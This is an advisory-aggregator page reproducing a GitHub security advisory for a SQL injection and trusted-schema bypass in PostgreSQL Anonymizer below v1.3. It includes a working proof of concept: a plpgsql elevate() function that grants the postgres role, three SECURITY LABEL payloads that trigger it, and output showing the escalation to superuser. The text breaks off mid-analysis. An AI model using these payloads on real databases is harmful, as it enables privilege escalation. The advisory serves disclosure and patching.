AI and data stack advisories

Severe, 6 weeks1496Projects326

1496 severe, 6 weeks · 326 projects

GoogleGHSA-468r-mhwc-vxjc

PostgreSQL: Anonymizer SQL Injection and Trusted Schema Bypasses

Google

Published May 9, 2024

High
Fix: upgrade to v1.3 or later
GitHub advisory

Summary

Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created.

The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used.

Severity

A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled.

Proof of Concept

The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema.

postgresql.conf has the following additions

```sql

shared_preload_libraries = 'anon'

anon.maskschema = mask

anon.sourceschema = public

`

As Superuser create the extension and enable dynamic masking

```sql

CREATE EXTENSION anon CASCADE;

SELECT anon.start_dynamic_masking();

`

As the user `` test `` executes the following

```sql

CREATE OR REPLACE FUNCTION public.elevate()

RETURNS void

AS

$

BEGIN

BEGIN

EXECUTE...

Affected versions

PackageAffectedFixed in
postgresql_anonymizer
Product
< v1.3v1.3
Details and references

### Summary Postgresql Anonymizer enables users to set security labels on objects to mask specified properties. There is a flaw that allows complex expressions to be provided as a value. This expression is then later used as it to create the masked views leading to SQL Injection. If dynamic masking this will lead to privilege escalation to Superuser after the label is created. The feature restrict_to_trusted_schemas is provided to only allow mask functions from a set of explicitly trusted schemas. There are issues with the implementation that enable a malicious user to bypass these restrictions having their own function execute when the masked view is used. ### Severity A user who is able to create security labels in the masked schema can elevate to Superuser when dynamic masking is enabled. ### Proof of Concept The setup has the Superuser postgres and a non privileged user test. The user test should have privileges to create objects in the source schema. postgresql.conf has the following additions ```sql shared_preload_libraries = 'anon' anon.maskschema = mask anon.sourceschema = public ``` As Superuser create the extension and enable dynamic masking ```sql CREATE EXTENSION anon CASCADE; SELECT anon.start_dynamic_masking(); ``` As the user ``` test ``` executes the following ```sql CREATE OR REPLACE FUNCTION public.elevate() RETURNS void AS $ BEGIN BEGIN EXECUTE FORMAT('GRANT %I TO test', CURRENT_USER); EXCEPTION WHEN OTHERS THEN RAISE NOTICE '%', SQLERRM; END; END; $ LANGUAGE plpgsql; CREATE TABLE employee ( ssn TEXT ); ``` Below are different payloads to bypass the restriction. All will have the effect that when the resulting view is used that the user function in an untrusted schema will execute. For nested functions PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)'; INSERT INTO employee VALUES ('a'); ``` For ``` MASKED WITH VALUE ``` PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH VALUE public.elevate()::text'; INSERT INTO employee VALUES ('a'); ``` For SELECT Rule PoC ``` SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH VALUE NULL'; CREATE RULE "_RETURN" AS ON SELECT TO public.employee DO INSTEAD SELECT public.elevate()::text as ssn; ``` After creating the table SELECT from the resulting masked view and check the user permissions. I run the query as the user ``` postgres ``` but this could be any user that has access to the view. ```sql Select * from mask.employee; \du test List of roles Role name | Attributes | Member of -----------+------------+------------ test | | {postgres} ``` ### Further Analysis The option ``` anon.restrict_to_trusted_schemas``` [states](https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/1.2.0/anon.c?ref_type=tags#L352) that enabling it requires masking filters must be in a trusted schema. #### Nested Functions The function [anon_get_function_schema](https://gitlab.com/dalibo/postgresql_anonymizer/-/blob/1.2.0/anon.c?ref_type=tags#L530) checks the function by running the value through the parser and getting the function call and returning the schema. This does not consider nested functions. A user can simply wrap their function around one in trusted schemas and have it be part of the resulting view. ```sql SECURITY LABEL FOR anon ON COLUMN employee.ssn IS 'MASKED WITH FUNCTION pg_catalog.upper(public.elevate()::text)'; \dS+ mask.employee View "mask.employee" Column | Type | Collation | Nullable | Default | Storage | Description --------+---------+-----------+----------+---------+----------+------------- id | integer | | | | plain | ssn | text | | | | extended | View definition: SELECT employee.id, u

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google